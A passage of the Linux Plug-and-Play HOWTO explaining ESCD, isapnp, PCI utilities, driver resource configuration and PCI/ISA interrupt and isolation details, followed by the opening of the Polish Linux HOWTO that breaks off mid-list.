If each device saved its last configuration in its hardware, hardware configuring wouldn't be needed each time you start your PC. But it doesn't work this way. So all the ESCD data needs to be kept correct if you use the BIOS for PnP. There are some BIOSs that don't have an ESCD but do have some non-volatile memory to store info regarding which bus-resources have been reserved for use by non-PnP cards. Many BIOSs have both.

Using Windows to set the ESCD

If the BIOS doesn't set up the ESCD the way you want it (or the way it should be) then it would be nice to have a Linux utility to set the ESCD. As of early 1999 there wasn't any and now in 2001 no one has told me about any. Thus one may resort to attempting to use Windows (if you have it on the same PC) to do this.

There are three ways to use Windows to try to set/modify the ESCD. One way is to use the ICU utility designed for DOS or Windows 3.x. It should also work OK for Windows 9x/2k ?? Another way is to set up devices manually ("forced") under Windows 9x/2k so that Windows will put this info into the ESCD when Windows is shut down normally. The third way is only for legacy devices that are not plug-and-play. If Windows knows about them and what bus-resources they use, then Windows should put this info into the ESCD.

If PnP devices are configured automatically by Windows without the user "forcing" it to change settings, then such settings probably will not make it into the ESCD. Of course Windows may well decide on its own to configure the same as what is set in the ESCD so they could wind up being the same by coincidence.

Windows 9x are PnP operating systems and automatically PnP-configure devices. They maintain their own PnP-database deep down in the Registry (stored in binary Windows files). There is also a lot of other configuration stuff in the Registry besides PnP-bus-resources. There is both a current PnP resource configuration in memory and another (perhaps about the same) stored on the hard disk. To look at this in Windows98 or to force changes to it you use the Device Manager.

In Windows98 there are 2 ways to get to the Device Manager: 1. My Computer --> Control Panel --> System Properties --> Device Manager. 2. (right-click) My Computer --> Properties --> Device Manager. Then in Device Manager you select a device (sometimes a multi-step process if there are a few devices of the same class). Then click on "Properties" and then on "Resources". To attempt to change the resource configuration manually, uncheck "Use automatic settings" and then click on "Change Settings". Now try to change the setting, but it may not let you change it. If it does let you, you have "forced" a change. A message should inform you that it's being forced. If you want to keep the existing setting shown by Windows but make it "forced" then you will have to force a change to something else and then force it back to its original setting.

To see what has been "forced" under Windows98 look at the "forced hardware" list: Start --> Programs --> Accessories --> System Tools --> System Information --> Hardware Resources --> Forced Hardware. When you "force" a change of bus-resources in Windows, it should put your change into the ESCD (provided you exit Windows normally). >From the "System Information" window you may also inspect how IRQs and IO ports have been allocated under Windows.

Even if Windows shows no conflict of bus-resources, there may be a conflict under Linux. That's because Windows may assign bus-resources differently than the ESCD does. In the the rare case where all devices under Windows are either legacy devices or have been "forced", then Windows and the ESCD configurations should be identical.

Adding a New Device (under Linux or Windows)

If you add a new PnP device and have the BIOS set to "not a PnP OS", then the BIOS should automatically configure it and store the configuration in ESCD. If it's a non-PnP legacy device (or one made that way by jumpers, etc.) then here are a few options to handle it:

You may be able to tell the BIOS directly (via the CMOS setup menus) that certain bus-resources it uses (such as IRQs) are reserved and are not to be allocated by PnP. This does not put this info into the ESCD. But there may be a BIOS menu selection as to whether or not to have these CMOS choices override what may be in the ESCD in case of conflict. Another method is to run ICU under DOS/Windows. Still another is to install it manually under Windows 9x/2k and then make sure its configuration is "forced" (see the previous section). If it's "forced" Windows should update the ESCD when you shut down the PC.

5.4 Disable PnP ?

Many devices are PnP only with no option for disabling PnP. But for some, you may be able to disable PnP by jumpers or by running a Windows program that comes with the device (jumperless configuration). If the device driver can't configure it this will avoid the possibly complicated task of doing PnP configuring. Don't forget to tell the BIOS that these bus-resources are reserved. There are also some reasons why you might not want to disable PnP:

  1. If you have MS Windows on the same machine, then you may want to allow PnP to configure devices differently under Windows from what it does under Linux.
  2. The range of selection for IRQ numbers (or port addresses) etc. may be quite limited unless you use PnP.
  3. You might have a Linux device driver that uses PnP methods to search for the device it controls.
  4. If you need to change the configuration in the future, it may be easier to do this if it's PnP (no setting of jumpers or running a Dos/Windows program).
  5. You may have (or will have) other PnP devices that need configuring so that you'll need to provide for (or learn about) PnP anyway.
Once configured as non-PnP devices, they can't be configured by PnP software or a PnP-BIOS (until you move jumpers and/or use the Dos/Windows configuration software again).

5.5 Isapnp (part of isapnptools)

Unfortunately, much of the documentation for isapnp is still difficult to understand unless you know the basics of PnP. This HOWTO should help you understand it as well the FAQ that comes with it. isapnp is only for PnP devices on the ISA bus (non-PCI). Running the Linux program "isapnp" at boot-time will configure such devices to the resource values specified in /etc/isapnp.conf. Its possible to create this configuration file automatically but you then must edit it manually to choose between various options.

With isapnp there's a danger that a device driver which is built into the kernel may run too early before isapnp has set the address, etc. in the hardware. This results in the device driver not being able to find the device. The driver tries the right address but the address hasn't been set yet in the hardware.

If your Linux distribution automatically installed isapnptools, isapnp may already be running at startup. In this case, all you need to do is to edit /etc/isapnp.conf per "man isapnp.conf". Note that this is like manually configuring PnP since you make the decisions as to how to configure as you edit the configuration file. You can use the program "pnpdump" to help create the configuration file. It almost creates a configuration file for you but you must skillfully edit it a little before using it. It contains some comments to help you edit it. If you use "isapnp" for configuring and have a PnP BIOS, you may want to tell the BIOS (when you set it up) that you don't have a PnP OS since you may want the BIOS to configure the PCI devices. While the BIOS may also configure the ISA devices, isapnp will redo it.

The terminology used in the /etc/isapnp.conf file may seem odd at first. For example for an I0 address of 0x3e8 you might see "(IO 0 (BASE 0x3e8))" instead. The "IO 0" means this is the first (0th) IO address-range that this device uses. Another way to express all this would be: "IO[0] = 0x3e8" but isapnp doesn't do it this way. "IO 1" would mean that this is the second IO address range used by this device, etc. "INT 0" has a similar meaning but for IRQs (interrupts). A single card may contain several physical devices but the above explanation was for just one of these devices.

5.6 PCI Utilities

The package PCI Utilities (= pciutils, incorrectly called "pcitools"), should let you manually PnP-configure the PCI bus. "lspci" or "scanpci" (Xwindows) lists bus-resources while "setpci" sets resource allocations in the hardware devices. It appears that setpci is mainly intended for use in scripts and presently one needs to know the details of the PCI configuration registers in order to use it. That's a topic not explained here nor in the manual page for setpci.

5.7 Windows Configures

If you have Windows9x (or 2k) on the same PC, then just start Windows and let it configure PnP. Then start Linux from Windows (or DOS). But there may be a problem with IRQs for PCI devices. As Windows shuts down to make way for Linux, it may erase (zero) the IRQ which is stored in one of the PCI device's configuration registers. Linux will complain that it has found an IRQ of zero.

The above is reported to happen if you start Linux using a shortcut (PIF file). But a workaround is reported where you still use the shortcut PIF. A shortcut is something like a symbolic link in Linux but it's more than that since it may be "configured". To start Linux (from DOS you create a batch file (script) which starts Linux. (The program that starts Linux is in the package called "loadlin"). Then create a PIF shortcut to that batch file and get to the "Properties" dialog box for the shortcut. Select "Advanced" and then check "MS-DOS mode" to get it to start in genuine MS-DOS.

Now here's the trick to prevent zeroing the PCI IRQs. Check "Specify a new MS-DOS configuration". Then either accept the default configuration presented to you or click on "Configuration" to change it. Now when you start Linux by clicking on the shortcut, new configuration files (Config.sys and Autoexec.bat) will be created per your new configuration.

The old files are stored as "Config.wos and Autoexec.wos". After you are done using Linux and shut down your PC then you'll need these files again so that you can run DOS the next time you start your PC. You need to ensure that the names get restored to *.sys and *.bat. When you leave Windows/DOS to enter Linux, Windows is expecting that when you are done using Linux you will return to Windows so that Windows can automatically restore these files to their original names. But this doesn't happen since when you exit Linux you shut down your PC and don't get back to Windows. So how do you get these files renamed? It's easy, just put commands into your "start-Linux" batch file to rename these files to their *.bat and *.sys names. Put these renaming commands into your batch file just before the line that loads Linux.

Also it's reported that you should click on the "General" tab (of the "Properties" dialog of your shortcut) and check "Read-only". Otherwise Windows may reset the "Advanced Settings" to "Use current MS-DOS configuration" and PCI IRQs get zeroed. Thus Windows erases the IRQs when you use the current MS-DOS configuration but doesn't erase when you use a new configuration (which may actually configure things identical to the old configuration). Windows does not seem to be very consistent.

5.8 PnP Software/Documents

  • Isapnptools homepage
  • Patch to make the Linux kernel PnP
  • PnP driver project
  • PnP Specs. from Microsoft
  • Book: PCI System Architecture, 3rd ed. by Tom Shanley +, MindShare 1995. Covers PnP-like features on the PCI bus.
  • Book: Plug and Play System Architecture, by Tom Shanley, Mind Share 1995. Details of PnP on the ISA bus. Only a terse overview of PnP on the PCI bus.
  • Book: Programming Plug and Play, by James Kelsey, Sams 1995. Details of programming to communicate with a PnP BIOS. Covers ISA, PCI, and PCMCIA buses.


Plug-and-Play-HOWTO : Tell the Driver the Configuration

 Next Previous Contents

6. Tell the Driver the Configuration

6.1 Introduction

Just how this is done depends upon the driver. Some drivers have more than one way to find out how their physical device is configured. At one extreme is the case where you must hard-code the bus-resources into the kernel (or a module) and recompile. At the other extreme, the driver does everything automatically and you have nothing to do. It may even set the bus-resources in the hardware using PnP methods.

In the middle are cases where you run a program to give the resource info to the driver or put the info in a file. In some cases the driver may probe for the device at addresses where it suspects the device resides. It may then try to test various IRQs to see which one works. It may or may not automatically do this. In other cases the driver may use PnP methods to find the device and how the bus-resources have been set, but will not actually set them. It may also look in some of the "files" in the /proc directory.

One may need to "manually" tell a driver what bus-resources it should use. You give such bus-resources as a parameter to the kernel or to a loadable module. If the driver is built into the kernel, you pass the parameters to the kernel via the "boot-prompt". See The Boot-Prompt-HOWTO which describes some of the bus-resource and other parameters. Once you know what parameters to give to the kernel, one may put them into lilo.conf file as append="...". Then the lilo program must be run to get this info into the kernel loader.

If the driver is loaded as a module, in many cases the module will find the bus-resources it needs and set them in the device. In other cases (mostly for older PCs) you may need to give bus-resources as parameters to the module. In some versions of Linux /usr/lib/modules_help/descr.gz shows a list of possible module parameters. Parameters to a module (including ones that automatically load) may be specified in /etc/modules.conf. There are usually tools used to modify this file which are distribution-dependent. A comment in this file should help regarding how to modify it. Also, any module your put in /etc/modules will get loaded along with its parameters.

While there is great non-uniformity about how drivers find out about bus-resources, the end goal is the same. If you're having problems with a driver you may need to look at driver documentation (check the kernel documentation tree). Some brief info on a few drivers is presented in the following sections:

6.2 Serial Port Driver: setserial

For PCI serial ports (and for newer 2.4 kernels for ISA), the serial driver detects the type of serial port and PnP configures it. Unfortunately, there may be some PCI serial ports that are not supported yet.

For the standard ISA serial port with older versions of the kernel and serial driver (not for multiport cards) you use setserial to configure the driver. Using setserial is also a must for non-pnp serial ports. Setserial is often run from a start-up file. In newer versions there is a /etc/serial.conf file that you "edit" by simply using the setserial command in the normal way and what you set using setserial is saved in the serial.conf configuration file. The serial.conf file should be consulted when the setserial command runs from a start-up file. Your distribution may or may not set this up for you.

There are two different ways to use setserial depending on the options you give it. One way is used to manually tell the driver the configuration. The other way is to probe at a given address and report if a serial port exists there. It can also probe this address and try to detect what IRQ is used for this port. The driver runs something like setserial at start-up but it doesn't probe for IRQs, it just assigns the "standard" IRQ which may be wrong. It does probe for the existence of a port. See Serial-HOWTO for more details.

For PCI serial, the serial driver may detect certain modems and configure the bus-resources.

6.3 Old ISA Sound Card Drivers

OSS-Lite

You must give the IO, IRQ, and DMA as parameters to a module or compile them into the kernel. But some PCI cards will get automatically detected (likely by using the lspci command or the like). RedHat supplies a program "sndconfig" which detects ISA PnP cards and automatically sets up the modules for loading with the detected bus-resources.

OSS (Open Sound System) and ALSA

These will detect the card by PnP methods and then select the appropriate driver and load it. It will also set the bus-resources on an ISA-PnP card. You may need to manually intervene to avoid conflicts. For the ALSA driver, support for ISA-PnP is optional and you may use isapnp tools if you want to.


Plug-and-Play-HOWTO : What Is My Current Configuration?

 Next Previous Contents

7. What Is My Current Configuration?

Here "configuration" means the assignment of PnP bus-resources (addresses, IRQs, and DMAs). There are two parts to this question for each device. Each part should have the same answer.

  1. What is the configuration of the device driver software? I.e.: What does the driver think the hardware configuration is?
  2. What configuration (if any) is set in the device hardware?

Of course the configuration of the device hardware and its driver should be the same (and it normally is). But if things are not working right, it could be because there's a difference. This means the the driver has incorrect information about the actual configuration of the hardware. This spells trouble. If the software you use doesn't adequately tell you what's wrong (or automatically configure it correctly) then you need to investigate how your hardware devices and their drivers are configured. While Linux device drivers should "tell all" in some cases it's not easy to determine what has been set in the hardware.

Another problem is that when you view configuration messages on the screen, it's sometimes not clear whether the reported configuration is that of the device driver, the device hardware, or both. If the device driver has either set the configuration in the hardware or has otherwise checked the hardware then the driver should have the correct information.

But sometimes the driver has been provided incorrect resources by a script, by incorrect resource parameters given to a module, or perhaps just hasn't been told what the resources are and tries to use incorrect default resources. For example, one can uses "setserial" to tell the driver an incorrect resource configuration and the driver accepts it without question.

7.1 Boot-time Messages

Some info on configuration may be obtained by reading the messages from the BIOS and Linux that appear on the screen when you first start the computer. These messages often flash by too fast to read but once they stop type Shift-PageUp a few times to scroll back to them. To scroll forward thru them type Shift-PageDown. Typing "dmesg" at any time to the shell prompt will show only the Linux kernel messages and miss some of the most important ones (including ones from the BIOS). The messages from Linux may sometimes only show what the device driver thinks the configuration is, perhaps as told it via an incorrect configuration file.

The BIOS messages will show the actual hardware configuration at that time, but isapnp, or pci utilities, or device drivers may change it later. The BIOS messages are displayed first before the ones from Linux. As an alternative to eventually using Shift-PageUp to read them, try freezing them by hitting the "Pause" key. Press any key to resume. But once the messages from Linux start to appear, it's too late to use "Pause" since it will not freeze the messages from Linux.

7.2 How Are My Device Drivers Configured?

There may be a programs you can run from the command line (such as "setserial" for serial ports) to determine this. The /proc directory tree is useful. It seems that there are many files buried deep in this tree that contain bus-resource info. Only a couple of them will be mentioned here. /proc/ioports shows the I/O addresses that the drivers use (or try if it's wrong). They might not be set this way in hardware.

/proc/interrupts shows only interrupts currently in use. Many interrupts that have been allocated to drivers don't show at all since they're not currently being used. For example, even though your floppy drive has a floppy disk in it and is ready to use, the interrupt for it will not show unless its in use. Again, just because an interrupt shows up here doesn't mean that it exists in the hardware. A clue that it doesn't exist in hardware will be if it shows that 0 interrupts have been issued by this interrupt. Even if it shows some interrupts have been issued there is no guarantee that they came from the device shown. It could be that some other device which is not currently in use has issued them. A device not in use (per the kernel) may still issue some interrupts for various reasons.

7.3 How Are My Hardware Devices Configured?

It's easy to find out what bus-resources have been assigned to devices on the PCI bus with the "lspci" or "scanpci" commands. For for kernels < 2.2: see /proc/pci or /proc/bus/pci for later kernels. Note that IRQs for /proc/pci are in hexadecimal. Don't bother trying to decipher /proc/bus/pci/devices since "lspci" will do that for you.

In most cases for PCI you will only see how the hardware is now configured and not what resources are required. In some cases you only see the base addresses (the starting addresses of the range) but not the ending addresses. If you see the entire range then you can determine how many bytes of address resource is needed. So in some cases you could calculate the needed resources and possibly set (with setpci --hard to use) a different address range (of the same length) if needed. You only need to tell the device what the new base address is since it internally has a knowledge of the length.

For the ISA bus you may try running pnpdump --dumpregs but it's not a sure thing. The results may be seem cryptic but they can be deciphered. Don't confuse the read-port address which pnpdump "tries" (and finds something there) with the I/O address of the found device. They are not the same. To try to find missing hardware on the ISA bus (both PnP and legacy) try the program "scanport" but be warned that it might hang your PC. It will not show the IRQ nor will it positively identify the hardware.

Messages from the BIOS at boot-time tell you how the hardware configuration was then. If only the BIOS does the configuring, then it should still be the same. Messages from Linux may be from drivers that used kernel PnP functions to inspect and/or set bus-resources. These should be correct, but beware of messages that only show what is in some configuration file (what the driver thinks). Of course, if the device works fine, then it's likely configured the same as the driver.

Some people use Windows to see how bus-resources have been set up. Unfortunately, since the hardware forgets its bus-resource configuration when powered down, the configuration may not be the same under Linux. It sometimes turns out to be the same because in many cases both Windows and Linux simply accept what the BIOS has set. But where Windows and/or Linux do the configuring, they may do it differently. So don't count on devices being configured the same.


Plug-and-Play-HOWTO : Error Messages

 Next Previous Contents

8. Error Messages

8.1 Unexpected Interrupt

This means that an interrupt happened that no driver expected. It's unlikely that the hardware issued an interrupt by mistake. It's more likely that the software has a minor bug and doesn't realize that some software did something to cause the interrupt. In many cases you can safely ignore this error message, especially if it only happens once or twice at boot-time. For boot-time messages, look at the messages which are nearby for a clue as to what is going on. For example, if probing is going on, perhaps a probe for a physical device caused that device to issue an interrupt that the driver didn't expect. Perhaps the driver wasn't listening for the correct IRQ number.


Plug-and-Play-HOWTO : Appendix

 Next Previous Contents

9. Appendix

9.1 Universal Plug and Play (UPnP)

This is actually a sort of network plug-and-play developed by Microsoft but usable by Linux. You plug something into a network and that something doesn't need to be configured provided it will only communicate with other UPnP enabled devices on the network. Here "configure" is used in the broad sense and doesn't mean just configuring bus-resources. One objective is to allow people who know little about networks or configuring to install routers, gateways, network printers, etc. A major use for UPnP would be in wireless networking.

UPnP uses:

  • Simple Service Discovery Protocol to find devices
  • General Event Notification Architecture
  • Simple Object Access Protocol for controlling devices

This HOWTO doesn't cover UPnP. UPnP for Linux is supported by Intel which has developed software for it. There are other programs which do about the same thing as UPnP. A comparison of some of them is at http://www.cs.umbc.edu/~dchakr1/papers/mcommerce.html

9.2 Address Details

There are three types of addresses: main memory addresses, I/O addresses and configuration addresses. On the PCI bus, configuration addresses constitute a separate address space just like I/O addresses do. Except for the complicated case of ISA configuration addresses whether or not an address on the bus is a memory address, I/O address, or configuration address depends only on the voltage on other wires (traces) of the bus. For the ISA configuration addresses see ISA Bus Configuration Addresses (Read-Port etc.) for details

Address ranges

The term "address" is sometimes used in this document to mean a contiguous range of addresses. Since addresses are in units of bytes, a single address is only the location of a single byte but I/O (and main memory) addresses need more than this. So a range of say 8 bytes is often used for I/O address while the range for main memory addresses allocated to a device is much larger. For a serial port (an I/O device) it's sufficient to give the starting I/O address of the device (such as 3F8) since it's well known that the range of addresses for serial port is only 8 bytes. The starting address is known as the "base address". Sometimes just the word "range" is used to mean "address range".

Address space

For ISA, to access both I/O and (main) memory address "spaces" the same address bus is used (the wires used for the address are shared). How does the device know whether or not an address which appears on the address bus is a memory address or I/O address? Well, there are 4 dedicated wires on the bus that convey this information and more. If a certain one of these 4 wires is asserted, it says that the CPU wants to read from an I/O address, and the main memory ignores the address on the bus. The other 3 wires serve similar purposes. Thus read and write wires exist for both main memory and I/O addresses (4 wires in all).

For the PCI bus it's the same basic idea (also using 4 wires) but it's done a little differently. Instead of only one or the four wires being asserted, a binary number is put on the wires (16 different possibilities). Thus more info may be conveyed. Four of these 16 numbers serve the I/O and memory spaces as in the above paragraph. In addition there is also configuration address space which uses up two more numbers. Ten extra numbers are left over for other purposes.

Range Check (ISA Testing for IO Address Conflicts)

On the ISA bus, there's a method built into each PnP card for checking that there are no other cards that use the same I/O address. If two or more cards use the same IO address, neither card is likely to work right (if at all). Good PnP software should assign bus-resources so as to avoid this conflict, but even in this case a legacy card might be lurking somewhere with the same address.

The test works by a card putting a test number in its own IO registers. Then the PnP software reads it and verifies that it reads the same test number. If not, something is wrong (such as another card with the same address. It repeats the same test with another test number. Since it actually checks the range of IO addresses assigned to the card, it's called a "range check". It could be better called an address-conflict test. If there is an address conflict you get an error message and need to resolve it yourself.

Communicating Directly via Memory

Traditionally, most I/O devices used only I/O memory to communicate with the CPU. For example, the serial port does this. The device driver, running on the CPU would read and write data to/from the I/O address space and main memory. A faster way would be for the device itself to put the data directly into main memory. One way to do this is by using DMA Channels or bus mastering. Another way is to allocate some space in main memory to the device. This way the device reads and writes directly to main memory without having to bother with DMA or bus mastering. Such a device may also use IO addresses.

9.3 ISA Bus Configuration Addresses (Read-Port etc.)

These addresses are also known as the "Auto-configuration Ports". For the ISA bus, there is technically no configuration address space, but there is a special way for the CPU to access PnP configuration registers on the PnP cards. For this purpose 3 @ I/O addresses are allocated and each addresses only a single byte (there is no "range"). This is not 3 addresses for each card but 3 addresses shared by all ISA-PnP cards.

These 3 addresses are named read-port, write-port, and address-port. Each port is just one byte in size. Each PnP card has many configuration registers so that just 3 addresses are not even sufficient for the configuration registers on a single card. To solve this problem, each card is assigned a card number (handle) using a technique called "isolation". See ISA Isolation for the complex details.

Then to configure a certain card, its card number (handle) is sent out via the write-port address to tell that card that it is to listen at its address port. All other cards note that this isn't their card number and thus don't listen. Then the address of a configuration register (for that card) is sent to the address-port (for all cards --but only one is listening). Next, data transfer takes place with that configuration register on that card by either doing a read on the read-port or a write on the write-port.

The write-port is always at A79 and the address-port is always at 279 (hex). The read-port is not fixed but is set by the configuration software at some address (in the range 203-3FF) that will hopefully not conflict with any other ISA card. If there is a conflict, it will change the address. All PnP cards get "programmed" with this address. Thus if you use say isapnp to set or check configuration data it must determine this read-port address.

9.4 Interrupts --Details

Interrupts convey a lot of information but only indirectly. The interrupt request signal (a voltage on a wire) just tells a chip called the interrupt controller that a certain device needs attention. The interrupt controller then signals the CPU. The CPU then interrupts whatever it was doing, finds the driver for this device and runs a part of it known as an "interrupt service routine" (or "interrupt handler"). This "routine" tries to find out what has happened and then deals with the problem. For example, bytes may need to be transferred from/to the device. This program (routine) can easily find out what has happened since the device has registers at addresses known to the the driver software (provided the IRQ number and the I/O address of the device has been set correctly). These registers contain status information about the device . The software reads the contents of these registers and by inspecting the contents, finds out what happened and takes appropriate action.

Thus each device driver needs to know what interrupt number (IRQ) to listen to. On the PCI bus (and for some special cases on the ISA bus) it's possible for two (or more) devices to share the same IRQ number. When such an interrupt is issued, the CPU runs all interrupt service routines for all devices using that interrupt. The first thing the first service routine does is to check its device registers to see if an interrupt actually happened for its device. If it finds that its device didn't issue an interrupt (a false alarm) it likely will immediately exit and the service routine begins for the second device using that same interrupt, etc, etc.

The putting of a voltage on the IRQ line is only a request that the CPU be interrupted so it can run a device driver. In almost all cases the CPU is interrupted per the request. But interrupts may be temporarily disabled or prioritized so that in rare cases the actual interrupt doesn't happen (or gets delayed). Thus what was above called an "interrupt" is more precisely only an interrupt request and explains why IRQ stands for Interrupt ReQuest.

9.5 PCI Interrupts

There are two newer developments in PCI interrupts that are not covered here. They are especially important for cases of more than one CPU per computer. One is the Advanced Programmable Interrupt Controller (APIC). Another is Message Signalled Interrupts (MSI) where the interrupt is just a message sent to a special address over the main computer bus (no interrupt lines needed). But the device that sends such a message must first gain control of the main bus so that it can send the interrupt message. Such a message contains more info than just "I'm sending an interrupt".

Ordinary PCI interrupts are different than ISA interrupts, but since they are normally mapped to IRQ's they behave in about the same way. One major difference is that the BIOS does this mapping. Under Linux it's not feasible to change it ?? unless the CMOS menu will let you do it. Another major difference is that PCI interrupts may be shared. For example IRQ5 may be shared between two PCI devices. This sharing ability is built into the hardware and all device drivers are supposed to support it. Note that you can't share the same interrupt between the PCI and ISA bus. However, illegal sharing will work provided the devices which are in conflict are not in use at the same time. "In use" here means that a program is running which "opened" the device in its C programming code.

Here are some of the details of the PCI interrupt system. Each PCI card (and device mounted on the motherboard) has 4 possible interrupts: INTA#, INTB#, INTC#, INTD#. From now on we may call them just A, B, C, and D. Each has its own pin on the edge connector of a card. Thus for a 7-slot system there could be 7 x 4 = 28 different interrupt lines for the cards. But the specs permit a fewer number of interrupt lines so many PCI buses seem to be made with only 4 interrupt lines. This is not too restrictive since interrupts may be shared. Call these lines (wires or traces) W, X, Y, Z. Suppose we designate the B interrupt from slot 3 as interrupt 3B.

One simple method of connecting these lines to the interrupts would be to connect all A interrupts (INTA#) to line W, all B's to X, etc. This method was used several years ago but it is not a good solution. Here's why. If a card only needs one interrupt, it's required that it use A. If it needs two interrupts, it must use both A and B, etc. Thus INTA# is used much more often than INTD#. So one winds up with an excessive number of interrupts sharing the first line (W connected to all the INTA#). To overcome this problem one may connect them in a more complicated way so that each of the 4 interrupt lines (W, X, Y, Z) will share about the same number of interrupts.

One method of doing this would be to have wire W share interrupts 1A, 2B, 3C, 4D, 5A, 6B, 7C. This is done by physically connecting wire W to wires 1A, 2B, etc. Likewise wire X could be connected to wires 1B, 2C, 3D, 4A, 5B, 6C, 7D, etc. Then on startup, the BIOS maps the X, W, Y, Z to IRQs. After that it writes the IRQ that each device uses into a hardware configuration register in each device. From then on any program interrogating this register can find out what IRQ the device uses.

A card in a slot may have up to 8 devices on it but there are only 4 PCI interrupts for it (A, B, C, D). This is OK since interrupts may be shared so that each of the 8 devices (if they exist) can have an interrupt. The PCI interrupt letter of a device is often fixed and hardwired into the device. The assignment of interrupts is done by the BIOS mapping the ISA interrupts to the PCI interrupts as mentioned above. If there are only 4 lines (W, X, Y, and Z) as in the above example, the choices the PCI BIOS has are limited. Some motherboards may use more lines and thus have more choices. The BIOS knows about how this is wired.

On the PCI bus, the BIOS assigns IRQs (interrupts) so as to avoid conflicts with the IRQs it knows about on the ISA bus. Sometimes in the CMOS BIOS menu one may allow one to assign IRQs to PCI cards. Also, a PnP operating system (for example MS Windows) could attempt to assign these IRQs after first finding out what the BIOS has done. The assignments are known as a "routing table". If MS Windows makes such IRQ assignment dynamically (such as a docking event) it's called "IRQ steering". The BIOS may support it's own IRQ steering (which Linux could use). If you use Linux after Windows without turning off your PC, the IRQs may be different than what the BIOS set.

You might think that since the PCI is using IRQ's (ISA bus) it might be slow since the ISA bus is slow. Not really. The ISA Interrupt Controller Chip(s) has a direct interrupt wire going to the CPU so it can get immediate attention. While signals on the ISA address and data buses may be slow to get to the CPU, the IRQ interrupt signals get there almost instantly.

9.6 ISA Isolation

This is only for the ISA bus. Isolation is a complex method of assigning a temporary handle (id number or Card Select Number = CSN) to each PnP device on the ISA bus. Since there are more efficient (but more complex) ways to do this, some might claim that it's a simple method. Only one write address is used for PnP writes to all PnP devices so that writing to this address goes to all PnP device that are listening. This write address is used to send (assign) a unique handle to each PnP device. To assign this handle requires that only one device be listening when the handle is sent (written) to this common address. All PnP devices have a unique serial number which they use for the process of isolation. Doing isolation is something like a game. It's done using the equivalent of just one common bus wire connecting all PnP devices to the isolation program.

For the first round of the "game" all PnP devices listen on this wire and send out simultaneously a sequence of bits to the wire. The allowed bits are either a 1 (positive voltage) or an "open 0" of no voltage (open circuit or tri-state). To do this, each PnP device just starts to sequentially send out its serial number on this wire, bit-by-bit, starting with the high-order bit. If any device sends a 1, a 1 will be heard on the wire by all other devices. If all devices send an "open 0" nothing will be heard on the wire. The object is to eliminate (by the end of this first round) all but highest serial number device. "Eliminate" means to drop out of this round of the game and thus temporarily cease to listen anymore to the wire. (Note that all serial numbers are of the same length.) When there remains only one device still listening, it will be given a handle (card number).

First consider only the high-order bit of the serial number which is put on the wire first by all devices which have no handle yet. If any PnP device sends out a 0 (open 0) but hears a 1, this means that some other PnP device has a higher serial number, so it temporarily drops out of this round. Now the devices remaining in the game (for this round) all have the same leading digit (a 1) so we may strip off this digit and consider only the resulting "stripped serial number" for future participation in this round. Then go to the start of this paragraph and repeat until the entire serial number has been examined for each device (see below for the all-0 case).

Thus it's clear that only cards with the lower serial number get eliminated during a round. But what happens if all devices in the game all send out a 0 as their high-order bit? In this case an "open 0" is sent on the line and all participants stay in the game. If they all have a leading 0 then this is a tie and the 0's are stripped off just like the 1's were in the above paragraph. The game then continues as the next digit (of the serial number) is sent out.

At the end of the round (after the low-order bit of the serial number has been sent out) only one PnP device with the highest serial number remains in the game. It then gets assigned a handle and drops out of the game permanently. Then all the dropouts from the previous round (that don't have a handle yet) reenter the game and a new round begins with one less participant. Eventually, all PnP devices are assigned handles. It's easy to prove that this algorithm works. The actual algorithm is a little more complex than that presented above since each step is repeated twice to ensure reliability and the repeats are done somewhat differently (but use the same basic idea).

Once all handles are assigned, they are used to address each PnP device for sending/reading configuration data. Note that these handles are only used for PnP configuration and are not used for normal communication with the PnP device. When the computer starts up a PnP BIOS will often do such an isolation and then a PnP configuration. After that, all the handles are "lost" so that if one wants to change (or inspect) the configuration again, the isolation must be done over again.

END OF Plug-and-Play-HOWTO


Polish HOWTO

Sergiusz Pawlowicz, ser@arch.pwr.wroc.pl

v2.1, 8 February 1999

Jak to zrobic w Linuxie? Pomoc zlozona z niektorych Linux-HOWTO oraz empirii, dostosowana do polskich warunkow i potrzeb. Wersja ta jest pozbawiona polskich liter ze wzgledu na standard LDP. Oryginal mozna znalezc w http://serek.arch.pwr.wroc.pl/linux/Polish-HOWTO/.

1. Wstep.

  • 1.1 Informacje ogolne o Polish-HOWTO.
  • 1.2 Jak pomoc w rozwinieciu podrecznika?
  • 1.3 Jak czytac aktualna wersje Polish-HOWTO?

2. Zrodla Linuxa w Polsce.

  • 2.1 Pliki binarne i zrodlowe Linuxa.
  • 2.2 Dokumentacje po angielsku i polsku.

3. Jezyk polski i Linux.

  • 3.1 Programy pocztowe, ktorym polskie litery nie przeszkadzaja.
  • 3.2 Programy do czytania newsow, ktorym polskie litery nie przeszkadzaja.
  • 3.3 Komunikaty programow po polsku.

4. Gdzie zapytac, gdy czegos nie wiemy.

  • 4.1 Grupa pocztowa i UseNet news.

5. Zycie Linuxa w Polsce

  • 5.1 PLUG - Polish Linux Users Group.
  • 5.2 Licznik polskich uzytkownikow Linuxa.


Polish HOWTO: Wstep.

 Next Previous Contents

1. Wstep.

1.1 Informacje ogolne o Polish-HOWTO.

Krotki podrecznik Linuxa po polsku? Mozliwe, ze dzieki pomocy wielu ludzi sie to uda. Chwilowo jednak mam zamiar opisac typowo polskie problemy: gdzie znalezc w Polsce zrodla i dystrybucje Linuxa, jak uzyskac polskie litery pod konsola Linuxa oraz w X11, jak prawidlowo przesylac i odczytywac poczte z polskimi literami, gdzie w Polsce uzyskac pomoc (grupy dyskusyjne usenet, pocztowe), gdzie znalezc dobra dokumentacje angielska... Uwaga: Autor nie bierze odpowiedzialnosci za ewentualne uszkodzenia mienia poprzez zastosowanie sie do rad zawartych w podreczniku :)).

1.2 Jak pomoc w rozwinieciu podrecznika?

Nie jestem w stanie opisac po polsku wszystkiego, co dotyczy Linuxa. Wszelkie materialy, ktore wydaja sie wam ciekawe, prosze przesylac na adres ser@arch.pwr.wroc.pl. Najlepiej w formacie SGML, ale czyste ascii lub tekst w kodzie ISO-8859-2 rowniez z checia przyjme.

Oto lista (kolejnosc chronologiczna) osob, ktore pomogly w rozny sposob przy powstawaniu Polish-HOWTO:

  • Linus Torvalds :), tworca Linuxa, linus@linux.helsinki.fi
  • Wojciech Myszka, prekursor internetu wroclawskiego, myszka@immt.pwr.wroc.pl
  • Adam Tlal/ka, Politechnika Gdanska, atlka@pg.gda.pl
  • Jaroslaw Strzalkowski, js@arrow.uci.agh.edu.pl, Piotr Piatkowski, kompas@uci.agh.edu.pl, za Polska Strone Ogonkowa.
  • Rafal Maszkowski, PDI, rzm@torun.pdi.net.

A oto lista najbardziej potrzebnych dokumentacji do opracowania po polsku:

